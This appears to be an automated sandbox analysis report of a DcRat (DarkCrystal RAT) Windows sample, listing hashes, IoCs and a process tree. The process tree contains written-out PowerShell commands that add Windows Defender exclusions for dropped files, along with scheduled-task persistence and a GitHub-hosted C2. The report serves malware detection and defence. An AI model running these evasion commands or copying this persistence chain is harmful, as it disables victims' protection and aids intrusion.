Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22-12-2024 00:55
Behavioral task
behavioral1
Sample
JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe
Resource
win10v2004-20241007-en
General
-
Target
JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe
-
Size
1.3MB
-
MD5
fbabc50080a0704849c2fc34da2fd0d5
-
SHA1
4fd7d9e98a5007d9d4aec3856fb1c746af340f89
-
SHA256
b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba
-
SHA512
c5014d2f0628314f2743690dcafcdf05d1802285764bc07771131d1fe3dbcfe47618f3f3fafd9a9ea830bb503c98f563d51101bcf870edcf60e4d02d542e2fbc
-
SSDEEP
24576:U2G/nvxW3Ww0t6TnzGmVBDh4+aknuRRZJND0gFJ4rD/IjC:UbA30GnzV/q+DnsXg
Malware Config
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Dcrat family
-
Process spawned unexpected child process 30 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 404 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 780 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3756 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2288 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3440 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4496 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4908 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5060 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2244 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4660 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3600 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2564 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2464 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3884 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2960 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4740 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2580 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3304 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2072 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4792 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1636 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1260 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4856 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3224 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4052 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3016 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2924 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4592 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 224 620 schtasks.exe 88 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3900 620 schtasks.exe 88 -
resource yara_rule behavioral2/files/0x000d000000023a73-10.dat dcrat behavioral2/memory/1700-13-0x0000000000FA0000-0x00000000010B0000-memory.dmp dcrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3108 powershell.exe 4912 powershell.exe 760 powershell.exe 2268 powershell.exe 3648 powershell.exe 408 powershell.exe 1900 powershell.exe 5016 powershell.exe 756 powershell.exe 4984 powershell.exe 2488 powershell.exe -
Checks computer location settings 2 TTPs 14 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation DllCommonsvc.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation TextInputHost.exe -
Executes dropped EXE 12 IoCs
pid Process 1700 DllCommonsvc.exe 4056 TextInputHost.exe 4844 TextInputHost.exe 2488 TextInputHost.exe 4464 TextInputHost.exe 2700 TextInputHost.exe 4180 TextInputHost.exe 1764 TextInputHost.exe 3392 TextInputHost.exe 3716 TextInputHost.exe 1096 TextInputHost.exe 4684 TextInputHost.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs
flow ioc 17 raw.githubusercontent.com 37 raw.githubusercontent.com 43 raw.githubusercontent.com 44 raw.githubusercontent.com 51 raw.githubusercontent.com 52 raw.githubusercontent.com 53 raw.githubusercontent.com 16 raw.githubusercontent.com 42 raw.githubusercontent.com 50 raw.githubusercontent.com 54 raw.githubusercontent.com 38 raw.githubusercontent.com -
Drops file in Program Files directory 10 IoCs
description ioc Process File created C:\Program Files\Mozilla Firefox\defaults\pref\ea1d8f6d871115 DllCommonsvc.exe File created C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe DllCommonsvc.exe File created C:\Program Files\Windows Media Player\56085415360792 DllCommonsvc.exe File created C:\Program Files (x86)\Windows Mail\DllCommonsvc.exe DllCommonsvc.exe File created C:\Program Files (x86)\Windows Mail\a76d7bf15d8370 DllCommonsvc.exe File created C:\Program Files\Mozilla Firefox\defaults\pref\upfc.exe DllCommonsvc.exe File created C:\Program Files (x86)\Windows Sidebar\Gadgets\22eafd247d37c3 DllCommonsvc.exe File created C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe DllCommonsvc.exe File created C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\7a0fd90576e088 DllCommonsvc.exe File created C:\Program Files\Windows Media Player\wininit.exe DllCommonsvc.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\CSC\csrss.exe DllCommonsvc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Modifies registry class 13 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings DllCommonsvc.exe Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings TextInputHost.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 30 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2960 schtasks.exe 3016 schtasks.exe 4792 schtasks.exe 1636 schtasks.exe 4052 schtasks.exe 224 schtasks.exe 3440 schtasks.exe 4496 schtasks.exe 3600 schtasks.exe 3304 schtasks.exe 4856 schtasks.exe 3224 schtasks.exe 2924 schtasks.exe 5060 schtasks.exe 2464 schtasks.exe 4740 schtasks.exe 2580 schtasks.exe 780 schtasks.exe 3900 schtasks.exe 2288 schtasks.exe 2072 schtasks.exe 1260 schtasks.exe 4592 schtasks.exe 3756 schtasks.exe 4908 schtasks.exe 4660 schtasks.exe 3884 schtasks.exe 2244 schtasks.exe 404 schtasks.exe 2564 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 48 IoCs
pid Process 1700 DllCommonsvc.exe 1700 DllCommonsvc.exe 1700 DllCommonsvc.exe 1900 powershell.exe 1900 powershell.exe 3648 powershell.exe 3648 powershell.exe 4984 powershell.exe 4984 powershell.exe 4912 powershell.exe 4912 powershell.exe 756 powershell.exe 756 powershell.exe 408 powershell.exe 408 powershell.exe 760 powershell.exe 760 powershell.exe 2488 powershell.exe 2488 powershell.exe 2268 powershell.exe 2268 powershell.exe 5016 powershell.exe 5016 powershell.exe 4984 powershell.exe 408 powershell.exe 3108 powershell.exe 3108 powershell.exe 2268 powershell.exe 3108 powershell.exe 3648 powershell.exe 1900 powershell.exe 1900 powershell.exe 760 powershell.exe 5016 powershell.exe 2488 powershell.exe 4912 powershell.exe 756 powershell.exe 4056 TextInputHost.exe 4844 TextInputHost.exe 2488 TextInputHost.exe 4464 TextInputHost.exe 2700 TextInputHost.exe 4180 TextInputHost.exe 1764 TextInputHost.exe 3392 TextInputHost.exe 3716 TextInputHost.exe 1096 TextInputHost.exe 4684 TextInputHost.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 1700 DllCommonsvc.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeDebugPrivilege 3648 powershell.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeDebugPrivilege 4912 powershell.exe Token: SeDebugPrivilege 756 powershell.exe Token: SeDebugPrivilege 5016 powershell.exe Token: SeDebugPrivilege 408 powershell.exe Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 3108 powershell.exe Token: SeDebugPrivilege 4056 TextInputHost.exe Token: SeDebugPrivilege 4844 TextInputHost.exe Token: SeDebugPrivilege 2488 TextInputHost.exe Token: SeDebugPrivilege 4464 TextInputHost.exe Token: SeDebugPrivilege 2700 TextInputHost.exe Token: SeDebugPrivilege 4180 TextInputHost.exe Token: SeDebugPrivilege 1764 TextInputHost.exe Token: SeDebugPrivilege 3392 TextInputHost.exe Token: SeDebugPrivilege 3716 TextInputHost.exe Token: SeDebugPrivilege 1096 TextInputHost.exe Token: SeDebugPrivilege 4684 TextInputHost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3576 wrote to memory of 3400 3576 JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe 84 PID 3576 wrote to memory of 3400 3576 JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe 84 PID 3576 wrote to memory of 3400 3576 JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe 84 PID 3400 wrote to memory of 2164 3400 WScript.exe 85 PID 3400 wrote to memory of 2164 3400 WScript.exe 85 PID 3400 wrote to memory of 2164 3400 WScript.exe 85 PID 2164 wrote to memory of 1700 2164 cmd.exe 87 PID 2164 wrote to memory of 1700 2164 cmd.exe 87 PID 1700 wrote to memory of 3108 1700 DllCommonsvc.exe 120 PID 1700 wrote to memory of 3108 1700 DllCommonsvc.exe 120 PID 1700 wrote to memory of 408 1700 DllCommonsvc.exe 121 PID 1700 wrote to memory of 408 1700 DllCommonsvc.exe 121 PID 1700 wrote to memory of 1900 1700 DllCommonsvc.exe 122 PID 1700 wrote to memory of 1900 1700 DllCommonsvc.exe 122 PID 1700 wrote to memory of 5016 1700 DllCommonsvc.exe 123 PID 1700 wrote to memory of 5016 1700 DllCommonsvc.exe 123 PID 1700 wrote to memory of 4912 1700 DllCommonsvc.exe 124 PID 1700 wrote to memory of 4912 1700 DllCommonsvc.exe 124 PID 1700 wrote to memory of 756 1700 DllCommonsvc.exe 125 PID 1700 wrote to memory of 756 1700 DllCommonsvc.exe 125 PID 1700 wrote to memory of 760 1700 DllCommonsvc.exe 126 PID 1700 wrote to memory of 760 1700 DllCommonsvc.exe 126 PID 1700 wrote to memory of 4984 1700 DllCommonsvc.exe 127 PID 1700 wrote to memory of 4984 1700 DllCommonsvc.exe 127 PID 1700 wrote to memory of 3648 1700 DllCommonsvc.exe 128 PID 1700 wrote to memory of 3648 1700 DllCommonsvc.exe 128 PID 1700 wrote to memory of 2268 1700 DllCommonsvc.exe 129 PID 1700 wrote to memory of 2268 1700 DllCommonsvc.exe 129 PID 1700 wrote to memory of 2488 1700 DllCommonsvc.exe 130 PID 1700 wrote to memory of 2488 1700 DllCommonsvc.exe 130 PID 1700 wrote to memory of 4432 1700 DllCommonsvc.exe 141 PID 1700 wrote to memory of 4432 1700 DllCommonsvc.exe 141 PID 4432 wrote to memory of 3884 4432 cmd.exe 144 PID 4432 wrote to memory of 3884 4432 cmd.exe 144 PID 4432 wrote to memory of 4056 4432 cmd.exe 146 PID 4432 wrote to memory of 4056 4432 cmd.exe 146 PID 4056 wrote to memory of 3124 4056 TextInputHost.exe 155 PID 4056 wrote to memory of 3124 4056 TextInputHost.exe 155 PID 3124 wrote to memory of 4044 3124 cmd.exe 157 PID 3124 wrote to memory of 4044 3124 cmd.exe 157 PID 3124 wrote to memory of 4844 3124 cmd.exe 163 PID 3124 wrote to memory of 4844 3124 cmd.exe 163 PID 4844 wrote to memory of 4008 4844 TextInputHost.exe 168 PID 4844 wrote to memory of 4008 4844 TextInputHost.exe 168 PID 4008 wrote to memory of 3188 4008 cmd.exe 170 PID 4008 wrote to memory of 3188 4008 cmd.exe 170 PID 4008 wrote to memory of 2488 4008 cmd.exe 172 PID 4008 wrote to memory of 2488 4008 cmd.exe 172 PID 2488 wrote to memory of 4748 2488 TextInputHost.exe 174 PID 2488 wrote to memory of 4748 2488 TextInputHost.exe 174 PID 4748 wrote to memory of 408 4748 cmd.exe 176 PID 4748 wrote to memory of 408 4748 cmd.exe 176 PID 4748 wrote to memory of 4464 4748 cmd.exe 178 PID 4748 wrote to memory of 4464 4748 cmd.exe 178 PID 4464 wrote to memory of 3252 4464 TextInputHost.exe 181 PID 4464 wrote to memory of 3252 4464 TextInputHost.exe 181 PID 3252 wrote to memory of 4560 3252 cmd.exe 183 PID 3252 wrote to memory of 4560 3252 cmd.exe 183 PID 3252 wrote to memory of 2700 3252 cmd.exe 185 PID 3252 wrote to memory of 2700 3252 cmd.exe 185 PID 2700 wrote to memory of 3184 2700 TextInputHost.exe 187 PID 2700 wrote to memory of 3184 2700 TextInputHost.exe 187 PID 3184 wrote to memory of 1984 3184 cmd.exe 189 PID 3184 wrote to memory of 1984 3184 cmd.exe 189 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_b3b23f91f4a2a86aad5574f5b31cc9bfe4b3b86fc650f41bc6c04bfdf625e1ba.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\providercommon\yTUdeXjbLOhnrN32dgrxVg.vbe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\providercommon\1zu9dW.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\providercommon\DllCommonsvc.exe"C:\providercommon\DllCommonsvc.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\conhost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:408
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\defaults\pref\upfc.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\RuntimeBroker.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4912
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:756
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\lsass.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:760
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\explorer.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4984
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\OfficeClickToRun.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3648
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Media Player\wininit.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Mail\DllCommonsvc.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\FiPi4qEUs5.bat"5⤵
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:26⤵PID:3884
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\owZfSNRP11.bat"7⤵
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:28⤵PID:4044
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"8⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ELd0wzhjGt.bat"9⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:210⤵PID:3188
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"10⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\YzNOjOTGFC.bat"11⤵
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:212⤵PID:408
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"12⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\8YXrskW4JY.bat"13⤵
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:214⤵PID:4560
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"14⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\vbXk1H8t4K.bat"15⤵
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:216⤵PID:1984
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"16⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4180 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\OPOGTQits7.bat"17⤵PID:1536
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:218⤵PID:2664
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"18⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\vbXk1H8t4K.bat"19⤵PID:3752
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:220⤵PID:4104
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"20⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3392 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\XErLL4imMU.bat"21⤵PID:2980
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:222⤵PID:4916
-
-
C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"C:\Program Files (x86)\Windows Sidebar\Gadgets\TextInputHost.exe"22⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3716 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\rjTee716Rl.bat"23⤵PID:3416
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:224⤵PID:1960
-
-
